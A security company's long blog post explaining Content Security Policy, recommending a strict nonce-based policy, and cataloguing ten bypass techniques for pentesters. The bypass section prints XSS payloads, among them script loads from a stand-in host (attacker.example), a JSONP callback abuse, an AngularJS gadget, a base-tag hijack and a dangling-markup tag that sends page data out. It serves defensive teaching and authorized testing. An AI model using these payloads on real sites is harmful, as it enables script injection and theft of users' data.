Skip to content
August 30, 2026

Everything You Ever Wanted to Know About Content Security Policy

CSP is a powerful XSS defense that is routinely misconfigured. How it works, a strict 2026 policy, and the bypasses you will actually run into.

Brackish Security17 min read

Content Security Policy (CSP) is one of those web security features that everyone has heard of, plenty of teams have deployed, and almost nobody has deployed correctly. It is simultaneously one of the most powerful defenses against cross-site scripting (XSS) ever shipped to browsers and one of the most reliably misconfigured headers on the modern web. For defenders, it is a second line of protection that can turn a catastrophic XSS into a non-event. For attackers, pentesters, and bug bounty hunters, a weak CSP is a green light and a roadmap all at once.

This post is the long version. We will walk through where CSP came from, how it actually works, what a good policy looks like in 2026, and — because this is a security blog — a practical catalogue of the bypasses you will actually run into in the wild. Grab a coffee.


A Short History of CSP

The problem CSP was built to solve

To understand CSP you have to understand the shape of the problem. Cross-site scripting has sat at or near the top of the OWASP Top 10 for the entire life of the list. The root cause is deceptively simple: the browser has no built-in way to tell the difference between JavaScript the developer intended to run and JavaScript an attacker managed to inject into the page. To the browser, a <script> tag is a <script> tag. If an attacker can smuggle one into your HTML, it executes with the full privileges of your origin — reading cookies, making authenticated requests, rewriting the DOM, exfiltrating data.

For years the only defense was rigorous output encoding and input validation everywhere, all the time, forever. That works right up until the one place a developer forgets. CSP was conceived as a defense in depth mechanism: even if an injection slips through, the browser should be able to refuse to execute untrusted code.

From concept to standard

The intellectual groundwork was laid by Robert "RSnake" Hansen and later formalized by Brandon Sterne and Sid Stamm at Mozilla around 2009. Firefox shipped the first real implementation behind the vendor-prefixed header X-Content-Security-Policy. WebKit and Chrome followed with X-WebKit-CSP. Those prefixed headers were buggy, inconsistent, and are now thoroughly obsolete — if you still see them in production, treat them as dead weight.

The standardization timeline looks roughly like this:

A useful thing to internalize: "CSP Level 3 is a draft" does not mean it is experimental. The spec is a living document; the features within it have varying, mostly excellent, browser support. You should be writing Level 3 policies today.


How CSP Actually Works

At its core CSP is a browser-enforced allowlist. The server sends a policy — usually in a response header, occasionally in a <meta> tag — and the browser refuses to load or execute anything the policy does not explicitly permit.

A policy is a semicolon-separated list of directives, each naming a resource type and the sources allowed for it:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *; object-src 'none'

Read that as: "By default, only load resources from my own origin. Scripts may come from my origin or that CDN. Images may come from anywhere. Never load plugins/objects."

Two headers, two behaviors

There are two headers, and the difference matters enormously during rollout:

Report-Only is how you deploy CSP without breaking your site. You ship it, collect violation reports for a few weeks, discover all the legitimate resources you forgot about, tune the policy, and only then flip to enforcing. Skipping this step is how teams end up rolling back CSP at 2 a.m.

Source expressions and keywords

Sources in a directive can be hostnames, schemes, or special keywords. The keywords are where most of the security-relevant nuance lives:


The Full Directive Reference

CSP directives fall into a handful of families. Here is the current landscape as of the Level 3 draft.

Fetch directives (where resources may load from)

DirectiveControls
default-srcFallback for all other fetch directives
script-srcJavaScript and WebAssembly
script-src-elem<script> elements specifically
script-src-attrInline event handlers (onclick, etc.)
style-srcStylesheets
style-src-elem<style> and <link rel="stylesheet">
style-src-attrInline style attributes
img-srcImages and favicons
font-srcFonts loaded via @font-face
connect-srcfetch, XHR, WebSocket, EventSource, sendBeacon
media-src<audio>, <video>, <track>
object-src<object> and <embed>
frame-srcNested contexts (<iframe>, <frame>)
child-srcFallback for frame-src and worker-src
worker-srcWeb/Shared/Service Workers
manifest-srcWeb app manifests
prefetch-srcPrefetch/prerender targets (limited support)
fenced-frame-src<fencedframe> contexts

Document directives

DirectiveControls
base-uriAllowed values for <base href>
sandboxApplies iframe-style sandboxing to the document

Navigation directives

DirectiveControls
form-actionAllowed form submission targets
frame-ancestorsWho may embed this page (clickjacking defense, supersedes X-Frame-Options)

Reporting directives

DirectiveControls
report-toReporting API endpoint group for violation reports
report-uriDeprecated — legacy violation endpoint (still send both for coverage)

Other useful directives

DirectiveControls
require-trusted-types-forEnforces Trusted Types at DOM XSS sinks
trusted-typesAllowlist of Trusted Types policy names
upgrade-insecure-requestsRewrites http:// subresource requests to https://

Note the graveyard: block-all-mixed-content is deprecated (use upgrade-insecure-requests), plugin-types and referrer are gone, and report-uri is on its way out in favor of report-to. In practice you still ship report-uri alongside report-to for a while because reporting-endpoint support lagged.


Writing a Good CSP in 2026

Here is the uncomfortable truth that Google's security team demonstrated years ago and that still holds: host-based allowlists don't work. The classic policy that looks responsible —

Content-Security-Policy: script-src 'self' https://apis.google.com https://cdnjs.cloudflare.com

— is almost always bypassable, because large allowlisted domains inevitably host something dangerous: a JSONP endpoint, an old vulnerable AngularJS build, an open redirect. More on that in the bypass section. The modern, defensible approach is a nonce-based strict policy with strict-dynamic.

The recommended strict policy

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script'

Every piece earns its place:

Nonce hygiene (this is where people fail)

A nonce is only as good as its randomness and its scoping. The failure modes are predictable:

Hashes as an alternative

If your inline scripts are static, hashes work without server-side randomness:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=' 'strict-dynamic'; object-src 'none'; base-uri 'none'

The catch: the hash covers the exact bytes of the script. Change one character of whitespace, reformat with Prettier, and the hash no longer matches and your script silently dies. Hashes suit static single-page-app shells and templates; nonces suit dynamic server-rendered pages.

Don't forget the non-script protections

CSP isn't only about XSS. A complete policy usually also sets:

Content-Security-Policy: ...; frame-ancestors 'self'; form-action 'self'; upgrade-insecure-requests

frame-ancestors 'self' is your modern clickjacking defense and replaces X-Frame-Options. form-action 'self' stops an injected form from posting your users' data to an attacker. upgrade-insecure-requests cleans up mixed content.

Reporting

Wire up reporting from day one so you can actually see what your policy blocks:

Content-Security-Policy: ...; report-to csp-endpoint; report-uri https://your-collector.example.com/csp
Reporting-Endpoints: csp-endpoint="https://your-collector.example.com/csp"

Whether you self-host a collector or use a managed service, the reports are gold during rollout and remain a useful IDS-like signal afterward: a spike in violations can be the first sign someone is probing you.


Testing Your Policy

Before you ship anything, run it through Google's CSP Evaluator. Paste in a policy and it flags host allowlists that are known to be bypassable, missing object-src/base-uri, use of 'unsafe-inline', and other weaknesses. It is the fastest way to catch the mistakes that make the rest of this article's bypass section possible.

Other tools worth keeping in the kit:


Bypassing CSP: A Field Guide for Pentesters and Bug Hunters

Now the fun part. A CSP header does not mean XSS is off the table — it means you have a second puzzle to solve after you find your injection point. Finding a CSP misconfiguration is itself often a reportable finding, and turning a "blocked" XSS into a working one via a CSP bypass frequently bumps a report from medium to high or critical. Everything below is for authorized testing only.

Your first move is always the same: grab the policy and drop it into CSP Evaluator. It will tell you which of the following doors are open.

1. 'unsafe-inline' in script-src

The freebie. If the policy allows 'unsafe-inline' for scripts and there is no nonce or hash present to override it, inline injection just works. Nothing to bypass:

">
<script>
  alert(document.domain);
</script>
"><img src="x" onerror="alert(document.domain)" />

Remember the interaction rule: if a nonce or hash is present, modern browsers ignore 'unsafe-inline'. So script-src 'unsafe-inline' 'nonce-abc' does not actually allow arbitrary inline script in a modern browser. Check the browser, check for the nonce.

2. Wildcards and overly-broad schemes

If script-src contains *, or a scheme like https: with no strict-dynamic to neutralize it, you can just load your own script:

">
<script src="https://attacker.example/evil.js"></script>

Watch also for data: in script-src — that lets you inline a whole script as a data URI:

">
<script src="data:text/javascript,alert(document.domain)"></script>

3. JSONP endpoints on allowlisted domains

This is the classic host-allowlist killer. Many big domains that teams reflexively allowlist — Google APIs, various CDNs — host JSONP endpoints that reflect a caller-supplied callback name into an executable JavaScript response. If such a domain is in your script-src, an attacker points a <script> at the JSONP endpoint and smuggles code through the callback parameter:

">
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.domain)"></script>

The response comes back as alert(document.domain)(...) — valid, allowlisted, executing JavaScript. Tools like JSONBee maintain lists of known-abusable JSONP endpoints across popular domains. If any allowlisted host has a JSONP endpoint, the allowlist is effectively defeated.

4. Script gadgets in allowlisted libraries (AngularJS et al.)

If an allowlisted CDN hosts a framework with a known client-side template-injection "gadget," you can trigger code execution without ever loading your own script file. The evergreen example is AngularJS: when an old Angular build is allowlisted, an attacker injects markup that Angular itself evaluates:

<div ng-app ng-csp>{{$on.curry.call().alert('xss')}}</div>

Older Angular versions plus a permissive allowlist have produced countless working bypasses. The general lesson: allowlisting a domain means trusting everything it hosts, including old, vulnerable, or gadget-friendly library versions.

5. Missing object-src and base-uri

Two of the most commonly forgotten directives, each its own bypass.

Missing object-src: if it (and default-src) is absent, plugin/object vectors may be usable to execute script depending on the browser and content type.

Missing base-uri: if the policy uses a nonce but forgets base-uri, and you have HTML injection above a relatively-referenced script, you can inject a <base> tag to redirect that relative URL to your server:

<base href="https://attacker.example/" />
<!-- the page's own <script src="app.js"> now loads from attacker.example/app.js -->

The page's legitimate, nonce-blessed script tag ends up fetching your file. This is exactly why the recommended strict policy always includes base-uri 'none'.

6. Weak, predictable, or reused nonces

A nonce is a secret-for-one-response. Break that assumption and it falls:

7. CSP injection via header/parameter reflection

If any part of the CSP header is built from user input — or the app lets you influence response headers via CRLF injection — you may be able to inject your own directive or loosen an existing one, e.g. appending script-src-elem 'unsafe-inline' or adding your host. Any reflected value that lands in the policy is worth testing.

8. strict-dynamic pitfalls

strict-dynamic is strong, but it trusts scripts loaded by trusted scripts. If a nonce'd, trusted script itself takes attacker-controlled input and uses it to create a new script element (a DOM-based sink like document.createElement('script') fed from a URL parameter), strict-dynamic will happily propagate trust to the attacker's script. The CSP is intact; the gadget is in the application code. This is why Trusted Types matters.

9. Dangling markup and data exfiltration

Even when you cannot execute script, a restrictive-but-imperfect CSP may still let you steal data. Dangling markup injection uses an unterminated attribute to slurp subsequent page content (including CSRF tokens or nonces) into a request to an attacker server:

<img src="https://attacker.example/log?html=

Everything after the injection up to the next quote gets sent to the attacker. Whether this works depends on img-src/connect-src and on newer browser mitigations, but it is a reliable fallback when connect-src or form-action is loose. Loose form-action similarly allows redirecting form posts to an attacker endpoint.

10. File upload and "self" abuse

If script-src 'self' is set and the application lets you upload a file that is served from the same origin with a script-executable (or sniffable) content type, you can host your payload on the target itself and satisfy 'self':

">
<script src="/uploads/avatar12345.js"></script>

Any same-origin location where you can plant script-parseable content — user uploads, a reflected endpoint that echoes JS, an open redirect on-origin — can turn 'self' against the site.

The workflow, summarized

  1. Extract the policy (response headers and <meta> tags).
  2. Run it through CSP Evaluator.
  3. Look for the easy wins first: unsafe-inline without a nonce, wildcards, data: in script-src.
  4. Enumerate allowlisted hosts for JSONP endpoints and known script gadgets.
  5. Check for the missing directives — object-src, base-uri.
  6. Probe nonce quality and any reflection into the header.
  7. Look for DOM sinks that defeat strict-dynamic.
  8. If code execution is off the table, pivot to data exfiltration via dangling markup and loose connect-src/form-action.

The Future of CSP

CSP is not standing still. A few directions worth watching:

The through-line: CSP is evolving from "a header you set to check a compliance box" into a genuine, layered, injection-resistant platform capability — but only for the teams who deploy it correctly.


Key Takeaways

A CSP that looks reasonable and a CSP that actually holds up under attack are two very different things, and the gap between them is exactly the space attackers operate in. The only way to know which one you have is to test it like an adversary would.


Want to know whether your Content Security Policy would survive a real attacker — or whether your web application has the injection points that make CSP bypasses possible in the first place? Brackish Security does exactly this kind of adversarial web application and API testing. Get in touch and we'll pressure-test your defenses before someone else does.

Want this tested against your environment?

Reading about an attack path is not the same as knowing whether yours holds. We can tell you which it is.

Scope an engagement